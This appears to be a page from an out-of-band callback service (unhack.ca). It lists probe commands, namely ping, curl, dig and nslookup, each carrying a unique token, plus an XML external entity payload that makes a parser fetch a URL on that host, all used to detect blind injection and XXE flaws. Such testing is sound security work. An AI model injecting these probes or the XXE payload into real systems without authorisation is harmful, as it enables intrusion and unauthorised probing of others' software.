$ ping -c1 -p 005bd2ac31d19b6024c3efd85dc9b000 unhack.ca
 
$ curl http://unhack.ca/p/5bd2ac31d19b6024c3efd85dc9b0
 
$ dig 5bd2ac31d19b6024c3efd85dc9b0 @unhack.ca
 
$ dig 5bd2ac31d19b6024c3efd85dc9b0.ns.unhack.ca
 
C:\> nslookup 5bd2ac31d19b6024c3efd85dc9b0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5bd2ac31d19b6024c3efd85dc9b0">]>
    <foo>&xxe;</foo>
Waiting for ping...